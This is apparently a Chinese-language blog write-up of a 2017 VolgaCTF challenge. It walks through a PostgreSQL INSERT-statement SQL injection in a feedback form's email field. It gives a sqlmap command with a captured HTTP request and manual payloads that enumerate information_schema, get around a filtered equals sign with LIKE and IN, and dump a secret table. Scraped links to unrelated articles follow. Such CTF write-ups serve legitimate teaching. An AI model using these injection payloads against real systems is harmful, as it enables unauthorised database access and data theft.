写这篇文是在昨夜的ctf中遇到的。

ctf地址:bloody-feedback.quals.2017.volgactf.ru

email存在注入,在ctf中发现注入就很好办了,只要找到能绕过的方法就行。发现有pg开头,联想到PostgreSQL数据库

试着补全语句

发现错误回显的有效信息更多了,

ERROR: INSERT has more target columns than expressions
LINE 1: INSERT INTO messages (code,name,message,email,status) VALUES

大概的语句就这样

INSERT INTO messages (code,name,message,email,status) VALUES('aaa','aaa','aaa','aaa','aaa')

  email在第四个,所以在补全一个status就行,

找了好久的资料,没发现PostgreSQL的报错方法。

尝试使用sqlmap


➜  sqlmap proxychains4 python sqlmap.py -r 1.txt --dbms=PostgreSQL -p email --prefix "',(" --suffix "))--" -v3

1.txt的内容

➜  sqlmap cat 1.txt
POST /submit/ HTTP/1.1
Host: bloody-feedback.quals.2017.volgactf.ru
Content-Length: 41
Cache-Control: max-age=0
Origin: http://bloody-feedback.quals.2017.volgactf.ru
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
DNT: 1
Referer: http://bloody-feedback.quals.2017.volgactf.ru/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Connection: close name=aaa&email=aa@qq.com&message=assa

  

发现能识别注入,美滋滋。

接着在跑表,发现需要用枚举的方式来跑。枚举????ctf的表名和字段名从来都很非主流的好嘛!!

还是用手工吧。

小伙伴发现在后面补全的时候,

name=a%27a%27a&email=aa%40qq.com','aaa')--&message=aaa

也就是'aaa'那里,只要不加引号,直接放sql语句也是可以的,回显的话需要访问response给我们的连接

查看当前数据库权限:

然后在访问response的连接就行。

接着查询表名,直接把当前数据库当做放flag的表

name=aaa&email=aa@qq.com',(select table_name from information_schema.tables limit 1 offset 0))--&message=assa

表名:s3cret_tabl3

接着爆列名。

本来的语法应该是name=aaa&email=aa@qq.com',(select column_name from information_schema.columns where table_name='s3cret_tabl3' limit 1 offset 0))—&message=assa

发现等号被过滤了,找了一下发现like也行

于是变换语句

name=aaa&email=aa@qq.com',(select column_name from information_schema.columns where table_name  LIKE 's3cret_tabl3' limit 1 offset 0))—&message=assa

name=aaa&email=aa@qq.com',(select column_name from information_schema.columns where table_name in ('s3cret_tabl3') limit 1 offset 0))--&message=assa

如果宽字节的注入 ,这里不能用引号怎么办?测试了发现mysql的0x和0b在这里不管用。(待解)

列名为s3cr3tc0lumn,

然后直接出来数据。

select s3cr3tc0lumn from s3cret_tabl3 limit 1 offset 2

发现这样不需要列名也能直接出数据

select * from s3cret_tabl3 limit 1 offset 4

  

附带一篇Postgres注入方式总结.pdf


PostgreSQL的insert注入的更多相关文章

  1. 织梦内容管理系统(DedeCms) 小说模块insert注入漏洞

    漏洞版本: Dedecms 漏洞描述: DedeCms是免费的PHP网站内容管理系统. 织梦内容管理系统(DedeCms) 以简单.实用.开源而闻名,是国内最知名的PHP开源网站管理系统,也是使用用户 ...

  2. ZZCMS v8.2 前台Insert注入+任意文件删除

    前几天看了水泡泡老哥的zzcms的审计,在论坛上一搜发现这个cms有不少洞.听说很适合小白练手,所以来瞅一瞅.不知道我发现的这个洞是不是已经被爆过了,如果雷同,纯属巧合. 一.Insert注入,直接返 ...

  3. 关于PostgreSQL的SQL注入必知必会

    一.postgresql简介 postgresql是一款关系型数据库,广泛应用在web编程当中,由于其语法与MySQL不尽相同,所以其SQL注入又自成一派. 二.postgresql的SQL注入:(注 ...

  4. Update、Insert注入技巧

    title: Update.Insert注入技巧 date: 2017-10-23 18:07:57 tags: ["注入"] 审计了不少代码,再看代码的时候最多出现的就是注入,很 ...

  5. sqlserver 2000 insert注入的问题

    一个sql server 2000的注入点猜测语句如下:insert into t1(col1, col2, col3) values('注入点1','数据点2','xxx');注入点1的值可以通过o ...

  6. MySQL&SQL server&Oracle&Access&PostgreSQL数据库sql注入详解

    判断数据库的类型 当我们通过一些测试,发现存在SQL注入之后,首先要做的就是判断数据库的类型. 常用的数据库有MySQL.Access.SQLServer.Oracle.PostgreSQL.虽然绝大 ...

  7. SQL注入测试平台 SQLol -3.INSERT注入测试

    访问首页的insert模块,http://127.0.0.1/sql/insert.php,开始对insert模块进行测试. insert语句: INSERT INTO [users] ([usern ...

  8. postgresql + mybatis insert主键自增方法

    postgresql + mybatis插入记录时设置自增主键方法: 一.数据库设置主键自增 1.数据库中id字段选择serial4类型后,会在默认值中生成 nextval('app_id_seq': ...

  9. “百度杯”CTF比赛 十二月场_blog(kindeditor编辑器遍历,insert注入,文件包含)

    题目在i春秋的ctf训练营中能找到 首先先是一个用户登录与注册界面,一般有注册界面的都是要先让你注册一波,然后找惊喜的 那我就顺着他的意思去注册一个号 注册了一个123用户登录进来看到有个文本编辑器, ...

随机推荐

  1. C和C++运行库

    一.Windows下动态库 1. 静态函数库 这类库的名字一般是libxxx.lib:利用静态函数库编译成的文件比较大,因为整个 函数库的所有数据都会被整合进目标代码中,他的优点就显而易见了,即编译后 ...

  2. 如何在mac上搭建sqli-labs

    近期想学习sql注入,但是一来网络上的资料参差不齐,难以系统的学习:二来随着程序员安全意识的提高,这种完全可以避免的注入漏洞越来越少见了,所以难以找一个合适的网站练手,于是乎,sqli-labs这种实 ...

  3. Beta No.4

    今天遇到的困难: 百度位置假死的问题研究发现并不是源于代码的问题,而是直接运行在主线程中会出现诸多问题 Fragment碎片刷新时总产生的固定位置的问题未果 今天完成的任务: 陈甘霖:修复了部分Bug ...

  4. Alpha第九天

    Alpha第九天 听说 031502543 周龙荣(队长) 031502615 李家鹏 031502632 伍晨薇 031502637 张柽 031502639 郑秦 1.前言 任务分配是VV.ZQ. ...

  5. 201621123031 《Java程序设计》第10周学习总结

    作业10-异常 1.本周学习总结 1.1 以你喜欢的方式(思维导图或其他)归纳总结异常相关内容. 1.捕捉异常 Java中的异常捕获结构由try.catch和finally三个部分组成.其中try语句 ...

  6. mvc架构模式概念

    MVC模式是"Model-View-Controller"的缩写,中文翻译为"模式-视图-控制器".MVC应用程序总是由这三个部分组成.Event(事件)导致C ...

  7. SDOI2017 相关分析

    把两个式子拆开 Σ(xi-px)(yi-py) =Σ xiyi + py * Σ xi - px * Σ yi + Σ 1* px * py Σ (xi-px)² = Σ xi² +  px * Σ ...

  8. sublime使用攻略

    一些常用的快捷键 Ctrl+Enter 在下一行插入新行.举个例子:即使光标不在行尾,也能快速向下插入一行. Ctrl+D 选中光标所占的文本,继续操作则会选中下一个相同的文本. Ctrl+Shift ...

  9. wordpress怎么禁止文章复制

    登陆你的网站后台--点击菜单栏的"外观"--点击"编辑"--在右侧,找到footer.php,打开它--在</body>之前加入以下代码: 1.禁止 ...

  10. Centos 6 搭建安装 Gitlab

    官方安装教程 gitlab / gitlab-ce 官网下载:https://www.gitlab.cc/downloads 官网安装说明:https://doc.gitlab.cc/ce/insta ...